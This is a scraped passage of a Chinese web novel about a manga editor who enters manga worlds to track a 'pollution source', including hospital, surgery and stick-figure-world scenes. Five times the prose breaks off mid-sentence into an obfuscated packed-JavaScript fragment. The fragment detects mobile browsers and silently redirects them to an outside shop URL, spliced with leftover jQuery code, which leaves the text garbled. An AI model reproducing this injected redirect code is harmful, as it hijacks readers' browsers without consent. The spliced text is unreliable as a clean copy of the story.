;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844861|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去亲眼看看那个孩子,那位父亲会不会同情那个孩子?会不会想要为他做些什么,来弥补没能为女儿做到的遗憾? “假如那个孩子需要器官移植,而恰恰好女儿的遗体能够匹配上,有人告诉父亲这是一个奇迹,是上天的恩赐,能让女儿的一部分身躯继续存活下去,那么,那位父亲会不会签署器官捐赠书?” “器官捐赠书……”佐伯雄愣愣地重复着这个词语。 侦探描述的故事很生动,他相信要是真有这样的事情发生,那位父亲一定会签署捐赠书。 可是,他不能想象那个死去的女儿是菜菜子。菜菜子还活着,精神很好,她今天醒着的时候还给他讲了自己编的故事,她的病只是小手术就能解决的病! “你还记不记得,去年春天,媒体都在争相报道,全国范围内有一场大规模的幼儿公益体检活动。”侦探说,“就在那个春天,她的器官配型上了某个大人物的继承人。” 这就是真相,是菜菜子的母亲一直在逃跑,将女儿托付给陌生人,并试图用自杀来切断所有线索的原因。 这是绝境中孤注一掷的豪赌,是为了从那些觊觎孩童生命力的贪婪目光下保护菜菜子。 当初在临时搭建的医院舞台上,看到病房中仿佛经过精心设计的阳光时,黑野编辑就开始猜测,东云茜的潜意识或许还影响着这个剧情已经发生变动的世界的“发展”。 黑野编辑不知道东云茜原本打算如何解释菜菜子的身世。 从恐怖漫画中菜菜子干脆利落的退场,以及漫画家对医院场景的毫无准备中,黑野编辑猜测,东云茜最初构思的不是眼下这个版本。 可是,当黑野编辑扰乱原本的剧情后,随着佐伯雄被迫中止俱乐部调查、菜菜子生病住院等一系列剧情发生,东云茜迅速调整了剧情设定和整个主线。 漫画家放弃了原本的谋划,结合最新的情节进展,用一个天才的灵感重新圆上了所有剧情。 故事也终于跌跌撞撞地回归到社会题材该有的叙事内容。 这个剧情中还有新出现的神秘男人的一席之地。 从剧情的合理性上看,幕后策划者最需要欺瞒的对象就是佐伯雄。如无意外,以佐伯雄的能力,绝无可能越过重重罗网,获得这份文件。 要么将一切交托给幸运的巧合,去面对读者的质疑。要么新增势力,安排第三方的协助。 东云茜选择了,相信在漫画世界中新出现的那个,面貌气质神似其编辑的男人。 黑野编辑读完文件的时候,就知道这是自己的使命。 他必须参与完成这段剧情。 18.无影灯下 无影灯下,春原菜菜子躺在手术台的正中间,被约束带固定着四肢,身上覆盖着手术巾。 黑野编辑不由想到,若这是一场分离器官的手术,各式解剖刀、分离钳、器官提取钳指向画面中紧闭双目的女孩子,构图恰恰与那张人体盛的扉页是一样的。 窥视、餐筷与手术器械的欲求不同,但同样视人如物,那种恶贯穿其中。 若那张人体盛扉页中,没有露面的女主角就是菜菜子的母亲,这个构图就更是呼应了两代传承的悲剧,可作为结局篇的扉页来使用。 【就为了这个场面才安排手术吗?】 匣子忍不住为菜菜子发声抱怨,【明明东云茜原本的设定里,菜菜子根本就没有生病,全是医生们乱用药的陷害。】 东云茜对菜菜子的爱护是实打实的,不忍心让女孩受到任何伤害。 这种过度的保护欲,黑野编辑早就在东云茜的恐怖漫画里见识过了。 可黑野编辑这次对设定提出修改意见,并非是为了故意向另一个主角施加磨炼。 他认真地观察着手术室内环境,没有第一时间闭眼向匣子解释。 主刀医师正在做术前准备,他有一张与佐藤鹰之助极为相似的脸。 是的,这场手术并非器官提取手术,而是以治愈菜菜子为目的的肾上腺腺瘤切除术。 剧情发展得很快。佐伯雄已经在侦探的帮助下,带着菜菜子逃出原本那本医院,抵达了另一个城市,然后寻求真正的治疗。 在作者意志的保驾护航下,这场逃亡的过程极为顺利,手术安排极为顺利,接下来的手术想必也会很顺利。 身处其中时,黑野编辑对此没有意见。 但他心想,若要正式刊发的话,作者的情节安排就不能如此偷懒了。 他会督促东云茜补上必要的矛盾冲突和行动细节。 为了避开敌人的耳目,眼下这是一场改名换姓后的秘密手术。 是特意为菜菜子安排的。 侦探理所当然拥有这样的资源。 毕竟,根据常识,侦探必有一名职业为医生的好友。 大概是为了偷懒,黑野侦探的“天降好友”借用了鹰之助的脸和气质。 也有可能是东云茜体会到了鹰之助在照顾他人上的天赋,满心希望菜菜子能得到同等细心的爱护照料。 黑野编辑眼也不眨,看着“天降好友”拿起手术刀。 就在刀尖即将落向手术巾中的窗口时,整个世界的时间突然停滞了。 世界在轻微震颤,随后,医护人员逐渐脱去原本的形态,肢体扭曲,形骸向着怪物转变。 【探测到特殊污染源存在!请进一步缩小定位!】 ——此刻的怪物异化,绝无可能是佐伯雄的幻觉。因为只有在完全相信侦探和这些医护人员的前提下,佐伯雄才会将菜菜子送入手术室。 匣子的警报也证实了这一点。 这就是黑野编辑要抓取的,特殊污染源出击的那个瞬间。 “为菜菜子安排手术,”黑野编辑这才出声,回答匣子的问题,“是为了完成你的任务。” 【你什么时候找到的!?】 “漫画中的万物都有象征意义。”黑野编辑说。 “若自杀的陌生女人象征着早逝的早见芽,佐伯雄象征着东云茜想象中的有能力完成拯救任务的自己,那么,春原菜菜子象征着什么?” 是从早见芽那里诞生,又传承给了东云茜的存在。 是画师们未曾熄灭的对创作漫画的热爱与实践。 黑野编辑说,“我们正在寻找《夜樱》的污染源。《夜樱》的本体就在这里。” 《夜樱》不是早见芽的漫画。但春原菜菜子的确是佐伯雄认可并打算用全力来养育的女儿。 无影灯下,因麻醉而失去意识的春原菜菜子,在炫目的灯光中睁开眼睛。 光芒映照着她眼中的混沌。 “她不是整个世界,她的意志也未必是漫画世界的意志。但作为这个世界的象征,特殊污染源的存在方位,必定会对应在她身上形成病灶。” 黑野编辑安排手术,又隐身潜入手术室,原本就是想要通过更加全面的检查来寻找病灶所在,从而得到特殊污染源的具体位置线索。 结果事情比想象得更简单。 【已全面封锁手术室,它逃不掉了!】匣子发来靠谱的传讯,以及不靠谱的思考,【呀,你好像也逃不掉了。】 医护人员悉数化为了怪物。好在如今不再需要他们来帮忙寻找了。 核心污染源就藏在春原菜菜子的身上,且为了从手术刀的物理威胁下幸免,直接暴露显现出来。 那些怪物们挥舞着爪牙,向黑野编辑袭来。 核心污染源造成的异变,似乎无法像佐伯雄的幻觉滤镜一样,直接感染黑野编辑本人,却也超越了佐伯雄的视觉限制,能识破黑野编辑的隐身。 狭小的手术室内几乎没有什么躲避的空间。 见识过黑野编辑对幻觉的身经百战后,匣子已经很久没有为怪物袭击这种事哇哇大叫过了,直到现在终于抓住机会,【这可不是那种公平到会为你的玩具刀上BUFF,遇强则弱的幻觉了!】 【怎么样,要不要看看我最新推出的积分信贷套餐……】 黑野编辑早就开始走位,此刻已经接替麻醉师启动了麻醉机,将麻醉气体的输出口对准了怪物群。拉上口罩的同时,还眼明手快地顺手抓走了无菌器械盘里的超声刀。 人类的优势就是擅长利用工具。这里恰巧又有的是各种杀伤性工具。 而最让匣子发酸的是黑野编辑战略布局明确,逻辑思维清晰,什么工具拿到手上都能充分利用到位,完全用不上匣子的辅助。 狭小的空间里拿什么工具都很方便,体型过大的怪物几乎没有躲避的空间。 【当我没说。】匣子恨恨地说。 怪物很快都被解决掉了。 最后,只剩下菜菜子。 菜菜子已经从手术台上坐了起来。约束带和麻醉剂都无法对她造成阻碍。她没有发动攻击。无影灯照耀着她单薄的身躯,手术巾下,有半副身躯都已是畸形的怪物模样。她转过头,静静看着黑野编辑。 这里是黑野编辑刻意营造的不会暴露在佐伯雄视角下的封闭场景, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852536|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管发生了什么都不会为外人所知。 作为角色的春原菜菜子已经在麻醉下睡去了,还保持着清醒的只会是另一个“菜菜子”。 她张开口,语声很轻,“进来前,爸爸说这里的人是医生,可以治好我的病。” “我是。” 编辑就是漫画作品的医生。 大多数时候,编辑都只负责诊断的工作。所谓斧正,也不过是提出建议,还得看漫画家是否接受。 但是,黑野编辑致力于帮助漫画家解决画不出漫画的问题。 他闭上眼,先咨询匣子,【你让我找出特殊污染源,应该不止是为了观察研究吧?】 匣子志得意满,【早就准备就绪了,只等着你发话呢。】 --- 黑野编辑身体一重,回到了潇潇雨中。吃足了雨水的衣服压在他的肩上,他打了个喷嚏——或许是因为精神终于放松下来,反馈给身体的是加倍的疲惫。 【这样一看,你还是很柔弱的嘛。】匣子不知道在感叹些什么。 “这就是正常人的体魄。”黑野编辑不以为意,说道。 衣服依旧沉重,但黑野编辑能看见云层正在消散,暴雨逐渐减弱。 雨很快就要停了。 地震不知何时已经停止。碎石路面与草地已经恢复平静,连土壤都好像重新平整过。 黑野编辑突然问,“会有其他漫画世界受到污染,但无人察觉,甚至连漫画家受到影响也不自知的情况发生吗?” 【或许有,没准还很多呢。】 随后,匣子公事公办地播报,【紧急任务已完成。奖励内容“漫画家冬云茜住所的场地复原服务”已成功发放。】 【奖励内容“人类的异变修复服务”目前为可使用状态,可领取次数为两次。】 【是否确认使用任务奖励?请指定服务对象。】 “确认使用。”黑野编辑一丝不苟地回答,“修复东云茜和佐藤鹰之助。” 【异变修复可同步清除他们的对异变事件的记忆,要特意保留他们的记忆吗?】 匣子继续公事公办地问。 “要。” 【……确定吗?】 得到了意料之外的答案,匣子忍不住问,【会带来麻烦的哦?】 “确定。”黑野编辑一向尊重他人选择,谨慎避免那些可能强行影响干涉他人精神和记忆的行为。 事实上他也不担心会有什么麻烦。看看眼前平静安宁的场景,醒过来的两人大概也只会将那恐怖的事件当成一场异能爆发或一场梦吧。 而且,“保留教训是一件好事,对任何人来说都是。” 尤其是对擅长忘记过去的樱岛人来说。 正在解析玩弄战利品的匣子,沉默了一瞬,莫名有感触地说,【或许我找对了人。】 身后的门突然开了。已发现身体恢复的佐藤鹰之助第一时间冲出来,看到浑身湿透的黑野编辑,惊慌失措地喊,“黑野老师!” 在被热情过度的年轻助手提起来检查之前,黑野编辑心中的最后一个想法是,要不要认真申明一下? ——黑野不是姓。 19.探病的访客 鹰之助脚步轻快地走进病房,探头看到黑野编辑的病床前已坐了个探望者。 那两人轻言细语,谈话氛围看似很融洽。 鹰之助犹豫了一下要不要先退出去。 这时黑野编辑察觉到有人进门,目光望了过来,落在他身上。 鹰之助立刻小跑进去,将带来的一堆东西放在床脚边,殷勤地向黑野编辑打招呼。 坐着的那个人转过身来。 鹰之助这才惊讶地发现,眼前人正是黑野杂志社的社长,立刻鞠躬行礼。 一阵招呼寒暄后,鹰之助终于坐下,高兴地听着来访者与病人聊天。 “你可要多多保重自己的身体啊。” 社长继续原来的话题,“有什么事情就多让年轻人跑跑腿,锻炼下新人。 “不要老是逞强,什么事都亲力亲为,不看重自己的身体。” 刚坐稳的鹰之助又有些坐不住了。 黑野编辑腿伤刚刚恢复得好些,出院在家休养,结果带自己出了次外勤,淋了场雨,又叠加了肺炎病情,不得不再度入院。 这事怎么想都得怪自己,竟然没能保护好前辈,明明照顾前辈该是自己的任务。 鹰之助愧疚难当,立即就想要起身道歉。 又被黑野编辑用一个轻巧的手势给硬压了回去。 他只得牢牢坐好,一动不动。 “我知道。”黑野编辑说。 社长连连唉声叹气,就差痛心疾首地数落。 但他拿黑野编辑没什么办法,只能转开话题,主动提起些杂志社里的事情。 不外乎谁谁谁接替工作后还没完全上手,催稿催得焦头烂额。 又有谁谁谁想要趁机出头,憋足力气搞了个大选题,几轮审稿会下来质量过关的稿件却是捉襟见肘。 新人鹰之助好奇地听着这些八卦,记住尚不熟悉的同事姓名,心里又隐隐有些骄傲。 他和黑野编辑在工作上可没有出问题。 鹰之助怀里抱着的公文包装着好几份分镜呢,他们组的工作进度一切正常。 黑野编辑知道社长说这些没有什么特别的意图。 社长之前已经接受了他的离职计划,纵使不舍也不会突然变卦。 这些抱怨,只不过是一个快上年纪的老头子,特意在聊天中照顾对方的感受。 虽说黑野社的现状不足以让人安心,但到底是黑野编辑仍挂怀的话题。 社长对着黑野编辑,也不会特意说宽慰的话来骗人,对杂志社是什么看法都会直说。 他了解黑夜编辑的性格。 但黑野编辑却难得沉思了一会。 社长没有留意到,他太习惯黑野编辑的突然沉默了。 社长又将话题转回黑野编辑的身体,问他是否需要将手头的事情也都放下——带薪假的话,社里还是能给他多批点的。 “……别到回故乡时身体还没养好,让家里人操心不说,没准还会误以为咱们樱岛的杂志社都是些黑心企业。” 社长在这里絮絮叨叨苦口婆心,鹰之助听得一头雾水不明就里。 等到社长叹息离开黑野编辑的诸多不便之处,甚至说自己有想过要不要干脆收缩漫画部规模,免得将来落到滥竽充数的地步时,鹰之助才终于听懂了黑野编辑将要辞职回国的消息。 新人助手大惊失色又不敢出声,忍住胸腔里一颗心跳得七上八下。 黑野编辑终于结束了思考,开口说,“我离开樱岛的计划可能会推后。” 社长大喜过望,也不问原因。黑野编辑从来靠谱,说出口的事十有八九会实现。 社长直接过渡到接下来的安排,立刻询问,“要不要做回之前的工作,将交给小林、宫部他们的那些漫画家重新交回给你?” 黑野编辑拒绝了,“不用。只是稍稍延后,我并不打算一直长留。 “小林、宫部他们都需要锻炼,也是时候放手让他们成长了。 “而且,鹰之助也需要培养。” 经历了好几重大惊大喜的鹰之助心潮澎湃,终于忍不住,站起身大声表态,“我会好好努力的!” 随后又意识到这里是病房,不该大声喧哗,赶紧道歉后重新坐下。 “年轻人就是有朝气啊。” 社长对黑野编辑赞了一句,又转过头对鹰之助说,“你算是运气好,跟了个好老师。 “要多看多学。你别看阿泽在社里不是主编——这可不是我不让他做,是他自己不想当的。” 鹰之助可不在乎什么职位,只一心追随偶像。 自从来了黑野社,他为着偶像天天跑外勤,连杂志社里都没去过几次,和其他同事都不熟,更别说新人不懂办公室政治,好几次下来都完全没有意识到他人的招揽。 社长的话其实是隐晦的提醒,可新人哪有这些复杂心思,只一味地点头。 “想当初,阿泽他刚来社里的时候,比你还年轻呢。” 老头子又开始回想当年,拉着鹰之助说,“那会儿樱岛的市场环境乱七八糟的,到处都在搞‘恶书追放’,好书也做不下去。 “我都想着要倒闭转行了,阿泽他带着企划案来上门自荐,还说愿意兼职来做,工资低也没有关系。 “我想着,年轻人有心气,我们老前辈就得成全。 “反正本来都快倒闭了,就算失败,也不过多赔点,不如试试看。 “没想到,年轻人还真有本事,第一个选题就……” 老年人沉浸在回忆中,一说起旧事就没完没了。 鹰之助还就爱听这些,给足了捧场的反应,听得津津有味。 黑野编辑忍到了十点半才下逐客令,“您再不走,就要误了雪子夫人的午餐了。” 社长只能恋恋不舍地起身,又嘱咐了几句保重身体后才离开。 自备了便当的鹰之助,骄傲地将社长送到病房口。 他关了门回来,将椅子挪到黑野编辑床头,高兴地坐下,将公文包里的稿纸拿出来给黑野编辑看,“我带来了新的分镜。” 放在最上面的就是《夜樱》的后续。 当初,黑野编辑抢救下来的部分后篇原稿也被暴雨淋湿了。 东云茜对整场灾难事件的经过印象模糊,但仍大度地接受了事实,趁机重绘并改编后续,今天一早就将新的分镜传真到了编辑部。 这件工作对鹰之助来说有重要意义。 他收到后立刻和东云茜通电话,再然后就赶紧将其整理好,一并带过来医院给黑野编辑看了。 黑野编辑垂下眼,看到的第一页纸是新角色的人设图。 侦探,黑川 凛。 黑野编辑也不是第一次被当成取材对象了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一段分镜的内容结束在侦探黑川凛初次出场之后。 但稿纸还未翻到底。 后面还附着几页速写。 画面是站在樱花树下的两个男人,以及医院的场景,旁边的空白处用潦草的笔迹记录着情节提示和关键对白。 “东云老师说这是他在昏迷中得到的灵感,似乎是梦里所见的画面,醒来后就立刻记录下来了。” 鹰之助兴奋地解说,“真是浪漫的创作幕后故事啊,以后是不是可以用在访谈里? “啊,当然,还不能这么快公开。 “这个似乎是完结篇章的剧情,在那之前,佐伯雄有很多故事要经历呢。 “东云老师打算让佐伯雄多从事几种不同职业,带读者们看看不同行业的内幕。” 黑野编辑微微点头。 这种结构安排,与他最初对整部作品的设想是相符的。 “这样的话,整个故事的主线就明朗了呢,也不用担心未来故事悬念的收尾问题了。” 鹰之助高兴地想,有了这种程度的准备,情节就不至于又突飞猛进,跑偏成什么恐怖漫画、异能战斗漫画的类型了。 大概……是吧? 20.晚上好 “不过,没想到菜菜子的命运这么悲惨啊。” 鹰之助有些感慨地发表对故事真相的评价,又说,“说起来,这张手稿里的黑川先生,看着可真像您。” 毫无疑问,这张速写是东云茜照着“梦境”描摹下来的。 未经修饰的黑川凛最初人设,几乎就是黑野编辑本人被漫画化的模样。 黑野编辑不予置评。 他将稿纸翻到最后一页,毫不意外地看见了那张菜菜子躺在手术台上的扉页构图。 手术室中的战斗应该不会被记录下来。 这个故事,最后将以菜菜子的手术成功为结束吧? “另外,东云老师还说,您之前批评得很对。” 鹰之助认真转达冬云茜的原话,“现在回过头来想,菜菜子的塑造太过单薄了,或许正是这部分缺失,才导致故事整体出了问题,情节也无以为继。 “若只专注于佐伯雄的自我中心,故事是失衡的。 “以家庭为主角单位的话,故事应该强调情感联结和各自的成长,不应该流于浅显的互相照顾和依赖。 “要强调菜菜子在剧情里的功能和作用,佐伯雄才不会陷于自我沉溺。 “菜菜子是个经历复杂的女孩子,也有着幽微细腻的内心世界。 “冬云老师说,他会好好想想,后续如何去完善菜菜子的设定,给她安排专门的故事线。” 黑野编辑点了点头。 的确,菜菜子的早期人设存在缺失,不够具体。 这或许就是当《夜樱》世界遭受外部污染时,核心污染源落在菜菜子身上的原因。 如果冬云茜真能补足这部分,治好菜菜子的“病”,后续或许就不用担心那个世界再出问题了——这点需要向匣子确认一下。 他在漫画世界里的行动能够影响东云茜的构思。 这几张速写,尤其是速写中与自己形象极为神似的黑川凛人设,证实了这点。 不过,漫画成品与漫画世界并非完全一致。 在作为最终成品的漫画故事里,黑川凛与佐伯雄的相遇情节,与他当初在漫画世界中的经历已经完全不同了。随着菜菜子个人故事线的展开,后续情节应该还会有更多的偏差。 两者相互影响,却不完全相同。 难怪匣子坚持称两者是对应关系,又用鸡生蛋和蛋生鸡来举例。 而且,漫画世界的污染,甚至会反过来影响东云茜的状态,造成现实世界中人类和环境的异变…… 这样的污染,是仅存于漫画作品吗? 仅存于樱岛吗? 在解明这些问题前,他还不能离开目前这个身份位置,不能离开樱岛。 匣子和污染或许都是危险的事物。 他不能带着未解的疑惑回到祖国。 鹰之助离开了。 直到病房熄灯,临睡前,黑野编辑才再次听到了熟悉的声音。 【晚上好。】 黑野编辑闭眼躺在病床上,手中握着匣子,平静地问,【你回来了?】 匣子走之前没有特地向黑野编辑打招呼。只是它的行踪根本就瞒不住。 当黑野编辑遇到访客时,第一个能被拿来取笑黑野编辑的话题刚出现,匣子的静默就如同漫画中的空白页一样显眼了。 匣子毫不讳言自己的擅自离开,【我下潜了一趟,新找到一个被特殊污染源影响的小世界,如果能探索一番的话,对我解析污染来源有好处。】 匣子已经发现了,比起威逼利诱,对黑野编辑直话直说是更好的交涉方式。 【要来个新任务吗?】 黑野编辑问,【也是被污染的漫画世界?】 【怎么说呢,我也不知道。】匣子不负责任地说,【应该是吧。在樱岛发展得最蓬勃最有活力的一批世界,差不多都是漫画世界了。】 也就是说,污染的载体不局限于漫画。 黑野编辑得到了自己想要追究的问题之一的答案。 他问,【你不知道那个世界的内容?】 匣子解答,【你想象一下,有那么一大锅粥,所有的小世界都漂浮在里面。它们联系着自己所对应的漫画,或者游戏、轻小说、政客演讲之类的什么都好的其他玩意。】 黑野编辑为这些世界类型里混杂的东西蹙了眉,但没有打断匣子的讲解。 【《夜樱》那次,我们是先发现了漫画,顺着东云茜异常的精神联系,从锅外进入了漫画世界。】 【而这一次,我是在锅里游荡的时候直接找到这个小世界的。】 【只能说,这个世界的创作者在现实世界的物理空间上大概离我们很近,但是,不掰开这粒米,就不知道里面藏了什么馅,对吧?】 黑野编辑又问,【你如何确定它被特殊污染源感染了?】 他的个人准则,让他不愿意去无缘无故地干涉其他人的正常创作和思想表达。 【这就得感谢你了。】匣子坦率地说。 【你不是在《夜樱》里帮我定位到特殊污染源了吗?那不过是某个巨物留下的一点残余气息。可是,捕获了这么一点点数据,我能追踪到的线索就很多了。】 匣子说,【现在我能更快对比出,哪些世界里可能存在特殊污染源的信息。】 黑野编辑提出上次没来得及追问到底的问题,【为何这些世界会被外部感染?】 【按理来说,成熟的世界都是自成一体的。但有些世界还未完成,就不稳定,往往还是非封闭状态的,会从外界吸收营养。】匣子说,【唔,就有点像是,漫画家在取材过程中受到了有害思想的影响?】 黑野编辑很熟悉被匣子拿来做比喻的内容。 漫画家有时候会被现实生活中积累的疲累、愤怒、悲伤所动摇。甚至仅仅是缺乏自信,他们就会在创作中陷入困境,反复改变故事情节和主题方向。 黑野编辑过去在工作中就常常要处理这类问题,可这次的情况不同。 【冬云茜身上的确存在不自信、生活挫折等因素,会影响创作。但发生他和作品上的事情,远远超出了他自身能够理解和控制的范畴。】 也超出了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【能到被我察觉的地步,说明它的影响力早已经在锅内蔓延扩散开来,有点气候了。我却从未正面遭遇过它,这并不正常,说明它有意躲着我呢。】 匣子的语气有些骄傲。 【锅太深了,内容物太复杂,它大概以为我就算知道了,也抓不住它的尾巴。】 【要在锅里将所有的世界翻过去,工作量太大了,不如针对那些更容易被感染的还未完全成形的世界,还要挑有潜能将污染影响力放大的那些天才漫画世界。这个在锅里很难筛选。但是,在锅外,不是有专门做这份工作的职业么?】 ——辅助新人创作和审稿的编辑。 更显眼的目标是,黑野社的漫画新人赏。 黑野编辑知道自己为何被匣子找上门来了。 匣子终于坦白了自己的动机,【这也是互利互惠,对吧?】 【你作为编辑,要解决漫画的问题。我则要解决漫画世界的问题。】 21.被迫降维 黑野编辑没有发言反对。 【我也挺想干脆利索地干活,直接出手解决问题。】匣子对于自己只能做幕后配角,没能搞点山崩地裂之类的大场面,还是有些遗憾的,【不过,我确实没法太大张旗鼓地帮你。】 【人类不会引起它的警惕心,而且,在辨别异常上,人类有时候更加敏感。】 那些所谓的试炼和考验,其实是匣子的坏心眼和恶趣味。 它故意陷黑野编辑于危险的境地,但从没打算真致其于死地。 自初遇受挫后,匣子一心等着黑野编辑求它呢。 没想到,黑野编辑表现惊人,成绩也惊人,从来没有给匣子一个证实自身善意的机会,还真帮匣子一举抓获了特殊污染源。 匣子今天下潜的时候想了一天。 它重新分析了黑野编辑的性格,决定将真实目的对他和盘托出。 匣子认真回答黑野编辑最初的问题,【特殊污染源是一股新的势力。我不知道它在锅外对应着什么。人类体验后或许能为其命名,但是,为了你的独立思想的安全,也为了不造成它继续扩散的契机,我不想你过早亲自体验它,也不会随便抓个人类来试验。】 【我推测它具有很强的攻击性和自我复制性。从它在《夜樱》中的表现来看,它擅长利用和鼓动其他已被命名的人类负面情绪,在暗中隐蔽地破坏秩序。】 【目前,我只能继续跟踪它,并通过它造成的影响分析它的来源和目的。】 然后回归自己最初的问题,【所以,要来个新任务吗?】 --- 黑野编辑睁开眼睛,对着眼前这个世界中错乱的线条,认真打量了许久。 随后站起身,又低下头来,看了看自己的身体。 【哈哈哈哈哈哈哈哈哈哈!】匣子已经笑得乐不可支,【连你都被这个世界同化了!】 与其说是同化,不如说是被迫降维。 这是个线条粗糙、画风抽象、结构失调的世界。 唯一的优点大概是色彩鲜明。 与其说这个世界是漫画,不如说是外行人的蜡笔涂鸦。 现在看来,黑野编辑在上次探索中能够保全自身的形象,得感谢东云茜有扎实的画功基础,构建出一个画风写实的漫画世界。 可惜,眼前这个线条简单的世界,实在无法支撑黑野编辑本人的复杂外形。 匣子快乐地在黑野编辑面前造了面镜子。镜子也是简笔画风格的。 黑野编辑看到镜子里出现的是由一个圆和五根线条组成的,标准的黑色火柴人。 由于进来前是准备睡觉的状态,所以火柴人没有带拐杖和眼镜。 代表脑袋的圆圈里,闪动着两个大黑点,是眼睛;抿着一条略直的短线,是嘴巴。 火柴人四肢俱全,就是连接在一根粗黑线上的四条粗黑线。他挪了挪腿,其中有一根线条更为僵硬些,【是你的跛足,虽然画得简单,但细节还是很活灵活现的嘛。】 匣子快乐地发表评价。 值得欣慰的是,火柴人的脑袋还算是浑圆,五根线条也尚平整,算是这个世界尽了最大努力,来保留住黑野编辑本人的特色风格。 黑野编辑试着活动了一下,肢体能行动自如,视听触觉等感官功能也基本正常。 于是他接受了这个形象。 黑野编辑又闭了闭眼,他原本不想评论,但强迫症还是让他忍不住发出提醒,【你线条打结了。】 匣子大惊失色,赶紧审查自己。 这个世界似乎完全没有打算把它画成立体的打算。 它现在是一个二维的近平行四边形。 组成它的线条也歪歪扭扭,左下角是又圆又扁的弧线;右上角是折线的锐角;左上角的线条交叉过界了,露出丑陋的线头;右下角的线条不到位,是个漏风的缺口。 更糟糕的是,为了表明这是个黑色的匣子,四边形内全是充作涂色的线条,排列得乱七八糟,不仅如编辑所说的线条打结,还有很多线头冲出了边界。 匣子发出无声的尖叫,开始为自己修修补补,好一阵敲敲打打后,勉强凑成一个不甚完美的近正方形。 黑野编辑已经开始了对这个蜡笔画世界的探索。 这个世界的画风太简单了,到处都是懒得上色的块与面。黑野编辑一开始甚至分不清自己在室内还是室外。 他猜是在室内,因为这里没有什么曲线。 就算这个世界的作者是某个孩童,懒得画户外的树木,也至少都知道要用弧线来表达天空上的太阳或月亮或云彩。 而黑野编辑的头顶上是直线交叉出来的格子。 黑野编辑猜这是天花板的图案,或者,是什么宇宙基地的防护罩。 周围很黑,又很开阔,四周散落着一些大小不一的长方形或正方形。 因为这个世界缺乏细节,又比例失调,透视变形,黑野编辑猜不出来那些方形是什么。 他走到一个方形前,试着推拉,结果竟然将其打开了——这是一道门。 进入门后,就好像从大厅来到了走廊。 火柴人的脚下是两条线构成的道路,在黑暗中歪歪扭扭地通往远方。 线两侧依然分布着一些奇怪的方形。 黑野编辑继续与这些方形互动,发现它们要么是房间门,要么是不能挪动的固体。 那些门打开后,里面都是黑漆漆的空间,完全没法探索。 那些不能挪动的固体似乎是无害的,可能是家具。 所以,这里是一座建筑,而且应该是很大的建筑。 黑野编辑从一条忽粗忽细的走廊走向另一条忽细忽粗的走廊,甚至还找到了一个歪歪扭扭的楼梯,但因为路旁那些方形的功能太过模棱两可,他仍不知道自己在什么建筑里。 从规模来推断的话,这可能是个公共场所。 【这里这么大,怎么没看到其他火柴人?】匣子忍不住发问。 因为这个世界太过于简陋,匣子的侦查系统都没什么用武之地。 【等等,前面右转,有个东西。】 黑野编辑推开右边那个方形,果然是扇门,门后有个房间。 房间里不是黑漆漆的空间,而是一副奇怪画面。 方形,方形,与方形。 以及站在方形前蠕动的一团阴影。 【这就是这个世界的生物吗?我还以为会是和你一样的火柴人呢。】 这个世界的画风太过于抽象,很难判断眼前的阴影究竟是人类,是鬼怪,还是别的什么物种。但至少这坨阴影是会动的,正在一个方形前行迹鬼祟地拱来拱去。 黑野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【要么是他自己掉进来了,不对,数据模型太简单了,】匣子直接肯定了黑野编辑刚想到的那个答案,【他是这里的角色啊。】 【看来你的助手和这个漫画世界关系不浅。】匣子又乐了,【这个简笔画不会是他画的吧?】 【画成这样哈哈哈哈哈……你们一个脑子死板,一个技术不行,难怪要做编辑哩!】 黑野编辑不理会匣子。 他睁开眼,看见一个贴近放大了的歪土豆脸。 “鹰之助”说,“你怎么闭着眼睛,是不是头晕呀?要不要我送你回病房?” 说话没有用敬语。 黑野编辑立刻留意到,这点和鹰之助本人的习惯不同。 看来,在设定上,护理工认不出火柴人的声音。 又或者,现实里的作者并不知道鹰之助和黑野编辑的关系? “病房?”黑野编辑问,“这里是医院?” 他是一点都没能看出来。 不过,之前匣子提过,这个漫画世界的创作者在空间距离上与黑野编辑离得很近。 那么,就近用医院作为创作题材也是合情合理的。 22.《病人守则》 “对呀。”这个“鹰之助”快乐地回答,“你是不是半夜出来迷路了? 